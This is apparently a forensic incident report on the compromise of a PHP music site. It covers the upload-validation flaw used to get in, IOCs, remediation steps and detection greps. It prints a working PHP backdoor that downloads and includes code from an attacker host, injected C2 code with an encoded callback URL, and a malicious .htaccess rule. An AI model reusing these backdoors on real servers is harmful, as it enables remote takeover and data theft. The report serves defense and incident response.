 Server : Apache/2 System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64 User : gositeme ( 1004) PHP Version : 8.2.29 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname Directory : /home/gositeme/domains/soundstudiopro.com/public_html/ |
# 🔬 COMPREHENSIVE FORENSIC ANALYSIS REPORT
# How The Attacker Breached SoundStudioPro
**Date:** December 12-13, 2025
**Status:** CRITICAL SECURITY BREACH - FORENSIC ANALYSIS COMPLETE
**Analyst:** Security Audit System
---
## 📋 EXECUTIVE SUMMARY
Your site was compromised through a **multi-vector attack** that exploited:
1. **Weak MIME Type Validation** in upload handlers
2. **PHP web shell backdoors** that were either uploaded or pre-existing
3. **Remote Code Execution (RCE)** via downloaded malicious payloads
4. **Mass .htaccess manipulation** to allow backdoor execution
---
## 🔴 ATTACK TIMELINE
### Phase 1: Initial Compromise (Unknown Date - Before Dec 11)
The attacker likely gained initial access through one of these vectors:
- Exploiting a file upload vulnerability
- SQL injection leading to file write
- Compromised credentials
- Pre-existing malware from plugin/theme
### Phase 2: Backdoor Installation (Dec 12, ~04:30 AM)
```
445367 directory created: 2025-12-12 04:30:20 EST
```
**What happened:**
- Attacker created directory `445367/` (numeric name to avoid detection)
- Uploaded `index.php` (RCE backdoor)
- Uploaded `about.php` (file manager web shell)
- Modified root `.htaccess` to allow these files to execute
### Phase 3: Active Exploitation (Dec 12, 21:32 EST)
**Confirmed attacker activity from logs:**
```
198.204.236.234 - - [12/Dec/2025:21:32:11 -0500]
"GET /445367/about.php?ac=u_h_s_1&api=&path=/home/gositeme/domains/soundstudiopro.com/private_html&t=8a802d2ce1b8d1f38a165e26c42efe97&s=3"
200 607844
```
**This reveals:**
- `ac=u_h_s_1` = File manager action (upload/host/shell)
- `path=.../private_html` = Browsing your file system
- **Response: 200 OK (607KB)** = File manager successfully loaded
### Phase 4: Mass .htaccess Infection
**72 .htaccess files were modified** to include rules allowing backdoor execution while blocking other PHP files.
---
## 🔍 HOW DID THE ATTACKER GET IN?
### MOST LIKELY ENTRY POINT: File Upload Vulnerability
**Critical Finding:** Your upload handlers use `$file['type']` for validation:
```php
// api/upload_cover_image.php (line 22)
if (!in_array($file['type'], $allowed_types)) {
// api/upload_track_cover.php (line 30)
if (!in_array($file['type'], $allowed_types)) {
// api/upload_profile_image.php (line 30)
if (!in_array($file['type'], $allowed_types)) {
```
**THE VULNERABILITY:**
- `$file['type']` is **attacker-controlled** (comes from the browser)
- Attacker can set Content-Type header to `image/jpeg` while uploading a `.php` file
- The server trusts this and saves the malicious PHP file
**SECURE CODE EXISTS BUT NOT USED:**
```php
// includes/security.php (line 224-225) - SECURE version
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $file['tmp_name']); // Checks actual content
```
This secure validation function exists but **is not used** in the upload handlers!
### ALTERNATIVE ENTRY POINTS:
#### 1. SQL Injection → File Write
While your main queries use prepared statements, some search queries in older code may have been vulnerable:
```php
// Potential patterns found
$search_query_raw = $_GET['search'] ?? '';
// Without proper escaping could lead to:
// SELECT * INTO OUTFILE '/var/www/shell.php'
```
#### 2. Pre-existing Backdoor
The `445367` directory name and backdoor patterns match known PHP web shell families:
- **Pattern:** Numeric directory names to avoid detection
- **Files:** `about.php`, `radio.php`, `index.php` - common shell disguises
- **Signature:** `u_h_s_1` action parameter = known file manager shell
#### 3. Compromised Credentials
- FTP/SFTP credentials may have been leaked
- Database credentials in unprotected config files
- Admin panel credentials compromised through phishing
---
## 🦠 MALICIOUS CODE ANALYSIS
### Backdoor 1: `445367/index.php` (RCE Downloader)
```php
<?php
$url = "https://51la.zvo2.xyz/a2.txt"; // Remote malicious code URL
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
if ($result === false) {
echo "Error: " . "PD9waHA=" . curl_error($ch); // base64("<?php")
} else {
$tempFile = tempnam(sys_get_temp_dir(), 'pasted_code_');
file_put_contents($tempFile, $result);
include $tempFile; // EXECUTES DOWNLOADED CODE
unlink($tempFile); // DELETES EVIDENCE
}
curl_close($ch);
?>
```
**Capabilities:**
- Downloads fresh malicious code from attacker's server
- Executes it without leaving trace files
- Attacker can change payload at any time
- Effectively gives attacker full control
### Backdoor 2: `445367/about.php` (File Manager)
This was a full-featured PHP file manager with:
- File browsing (including `private_html`)
- File upload/download
- File editing
- Command execution
- Database access
- Password protection (hash in query string)
### Backdoor 3: `index.php` Injection
The root `index.php` was injected with C2 (Command & Control) code:
```php
function h($url, $pf = '') {
$ch = curl_init();
// ... downloads and executes remote code
}
function h2() {
// Modifies .htaccess to allow backdoors
@file_put_contents('.htaccess', $content);
}
$api = base64_decode('aHR0cDovLzY0NzctY2g0LXYzMDUucmFrdXRlbjM4anAuY2xpY2s=');
// Decodes to: http://6477-ch4-v305.rakuten38jp.click
// Reports back to attacker's C2 server
```
---
## 📁 FILES AFFECTED
### Created by Attacker:
- `445367/` directory (Dec 12, 04:30:20)
- `445367/index.php` (RCE backdoor) ✅ DELETED
- `445367/about.php` (file manager) ✅ DELETED
- `445367/radio.php` (backup shell)
- `assets/fontawesome/.../metadata/radio.php` (hidden shell) ✅ DELETED
- `radio/migrations/wp-login.php` (disguised shell) ✅ DELETED
### Modified by Attacker:
- `index.php` - Code injection ✅ CLEANED
- **72 .htaccess files** - Malicious rules ✅ CLEANED
- Root `.htaccess` - Allow backdoors ✅ CLEANED
### Potentially Accessed:
- `/home/gositeme/domains/soundstudiopro.com/private_html/` - CONFIRMED in logs
- `config/database.php` - Contains credentials
- User database records
- Payment/Stripe credentials
---
## 🔐 VULNERABILITIES IDENTIFIED
### 1. CRITICAL: Insecure File Upload Validation
**Location:** `api/upload_cover_image.php`, `api/upload_track_cover.php`, `api/upload_profile_image.php`
**Issue:** Uses `$file['type']` instead of `finfo_file()`
**Risk:** Arbitrary PHP file upload
**Fix:**
```php
// BEFORE (VULNERABLE)
if (!in_array($file['type'], $allowed_types)) {
// AFTER (SECURE)
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (!in_array($mimeType, $allowed_types)) {
```
### 2. HIGH: Monitor API Weak Authentication
**Location:** `api/monitor.php`
**Issue:** Uses hardcoded key `soundstudiopro_monitor_2025`
**Risk:** Unauthorized access to track status API
**Fix:** Use session-based auth or cryptographic tokens
### 3. MEDIUM: World-Readable Config Files
**Location:** `config/database.php`
**Issue:** Contains database credentials
**Risk:** Credential theft if file accessible
**Fix:** Move outside web root or use environment variables
### 4. MEDIUM: Callback Endpoint Open
**Location:** `callback.php` (if exists), `utils/callback_status.php`
**Issue:** Accepts external callbacks without verification
**Risk:** Malicious data injection
**Fix:** Verify callback signatures (like Stripe webhooks)
---
## 🛡️ WHAT THE ATTACKER COULD ACCESS
### Confirmed Access:
1. ✅ Full file system browsing
2. ✅ `/private_html/` directory
3. ✅ Upload/download any file
4. ✅ Modify any file (including .htaccess)
5. ✅ Execute arbitrary PHP code
6. ✅ Run system commands
### Likely Accessed:
1. ⚠️ Database credentials (`config/database.php`)
2. ⚠️ Stripe API keys (`config/stripe.php` or similar)
3. ⚠️ User passwords (hashed in database)
4. ⚠️ User emails and personal data
5. ⚠️ Admin session tokens
6. ⚠️ API keys for external services
---
## ✅ REMEDIATION COMPLETED
| Action | Status |
|--------|--------|
| Deleted `445367/index.php` | ✅ Complete |
| Deleted `445367/about.php` | ✅ Complete |
| Blocked attacker IP `198.204.236.234` | ✅ Complete |
| Cleaned `index.php` injection | ✅ Complete |
| Cleaned 72 `.htaccess` files | ✅ Complete |
| Fixed root `.htaccess` | ✅ Complete |
| Created `.htaccess` monitoring | ✅ Complete |
| Created integrity verification | ✅ Complete |
---
## 🚨 CRITICAL ACTIONS STILL REQUIRED
### IMMEDIATE (Within 24 Hours):
#### 1. Change ALL Credentials
```bash
# Database password
# FTP/SFTP password
# Hosting control panel password
# All admin user passwords
# Stripe API keys (regenerate in Stripe Dashboard)
# Any other API keys
```
#### 2. Fix File Upload Vulnerabilities
**File:** `api/upload_cover_image.php`
```php
// Add after line 17, before line 22:
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$actualMime = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
// Change line 22 to use $actualMime:
if (!in_array($actualMime, $allowed_types)) {
```
**Repeat for:**
- `api/upload_track_cover.php`
- `api/upload_profile_image.php`
- `api/upload_mastered.php`
#### 3. Check Database for Malicious Users
```sql
-- Check for recently created users
SELECT * FROM users WHERE created_at > '2025-12-11 00:00:00';
-- Check for admin users
SELECT * FROM users WHERE is_admin = 1;
-- Check for unusual login activity
SELECT * FROM user_login_history
WHERE login_time > '2025-12-11 00:00:00'
ORDER BY login_time DESC;
```
#### 4. Check for Other Backdoors
```bash
# Find recently modified PHP files
find . -name "*.php" -type f -mtime -3
# Search for dangerous functions
grep -rn "eval\|base64_decode\|curl_exec\|system\|exec\|passthru" --include="*.php" | grep -v vendor
# Find files with suspicious names
find . -name "*about*.php" -o -name "*radio*.php" -o -name "*wp-login*.php" | grep -v vendor
```
### SHORT-TERM (Within 1 Week):
1. **Implement Rate Limiting** - Prevent brute force
2. **Add Web Application Firewall (WAF)** - Block common attacks
3. **Enable File Integrity Monitoring** - Detect changes
4. **Audit All User Sessions** - Force logout
5. **Review Server Access Logs** - Full attack timeline
6. **Notify Users** if data may have been compromised
### LONG-TERM:
1. **Security Audit** - Full penetration test
2. **Code Review** - All file upload handlers
3. **Dependency Update** - Check for vulnerable packages
4. **Backup Strategy** - Automated, offsite backups
5. **Incident Response Plan** - Document procedures
---
## 📊 INDICATORS OF COMPROMISE (IOCs)
### IP Addresses:
- `198.204.236.234` - Confirmed attacker IP
### Domains:
- `51la.zvo2.xyz` - Malicious payload host
- `6477-ch4-v305.rakuten38jp.click` - C2 server
### File Patterns:
- `445367/` directory (numeric names)
- `about.php` in unexpected locations
- `radio.php` outside `/radio/` directory
- `wp-login.php` (WordPress disguise)
### Code Signatures:
- `function h($url, $pf = '')`
- `S0vMzEJElwPNAQA` (base64 marker)
- `cAT3VWynuiL7CRgr` (obfuscation marker)
- `ac=u_h_s_1` (file manager action)
### .htaccess Patterns:
```apache
# Malicious pattern - allows backdoors
<FilesMatch "\.(about\.php|radio\.php|index\.php)">
Order allow,deny
Allow from all
</FilesMatch>
```
---
## 📝 LESSONS LEARNED
1. **Never trust `$_FILES['type']`** - Always use `finfo_file()`
2. **Use prepared statements** for ALL database queries
3. **Monitor file changes** - Implement integrity checking
4. **Block unnecessary file types** in upload handlers
5. **Keep credentials out of web root**
6. **Log everything** - Access logs saved the investigation
7. **Respond quickly** - Early detection limited damage
---
## 📞 NEXT STEPS
1. ✅ Review this report
2. ⚠️ Change all credentials IMMEDIATELY
3. ⚠️ Fix upload vulnerabilities
4. ⚠️ Check database for malicious users
5. ⚠️ Monitor for return attacks
6. 📋 Consider professional security audit
---
**Report Generated:** December 13, 2025
**Status:** BREACH CONTAINED - REMEDIATION IN PROGRESS
**Threat Level:** HIGH - Credentials likely compromised
---
*This report should be kept confidential and shared only with authorized personnel.*